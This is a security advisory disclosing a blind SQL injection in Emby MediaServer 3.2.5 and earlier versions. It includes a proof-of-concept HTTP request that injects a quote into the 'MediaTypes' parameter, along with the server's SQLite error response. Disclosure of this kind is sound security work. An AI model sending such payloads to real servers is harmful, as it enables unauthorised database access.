Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability

Published
Credit
Risk
2017.04.30
Gjoko 'LiquidWorm' Krstic
Medium
CWE
CVE
Local
Remote
CWE-89
N/A
No
Yes

Emby MediaServer 3.2.5 Boolean-based Blind SQL Injection Vulnerability


Vendor: Emby LLC
Product web page: https://www.emby.media
Affected version: 3.2.5
3.1.5
3.1.2
3.1.1
3.1.0
3.0.0

Summary: Emby (formerly Media Browser) is a media server designed to organize,
play, and stream audio and video to a variety of devices. Emby is open-source,
and uses a client-server model. Two comparable media servers are Plex and Windows
Media Center.

Desc: Emby suffers from a blind SQL injection vulnerability. Input passed via the GET
parameter 'MediaTypes' is not properly sanitised before being returned to the user
or used in SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
Ubuntu Linux 14.04.5
MacOS Sierra 10.12.3
SQLite3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5400
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5400.php

SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098


22.12.2016

--


PoC:

GET /emby/Users/abb355429db54e159ac2a7a3cbd6eb12/Items?ParentId=4cd160cad6c50f34ca42be0136af2316&Filters=IsNotFolder&Recursive=true&SortBy=SortName&MediaTypes=Audio%2cVideo'&Limit=100&Fields=MediaSources%2CChapters&ExcludeLocationTypes=Virtual HTTP/1.1
Host: 10.211.55.3:8096
accept: application/json
x-mediabrowser-token: ba5a68dfa1134bd6af642228bbf757bb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome 55.0.2883.87", DeviceId="104a154d5aa8c9576a2508113b47a53b6170253c", Version="3.1.0.0", UserId="abb355429db54e159ac2a7a3cbd6eb12"
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close

Response:

HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Server: Mono-HTTPAPI/1.0
Date: Tue, 21 Feb 2017 12:06:09 GMT
Content-Length: 64
Connection: close

Exception of type 'SQLitePCL.pretty.SQLiteException' was thrown.

References:

http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5400.php


See this note in RAW Version

 
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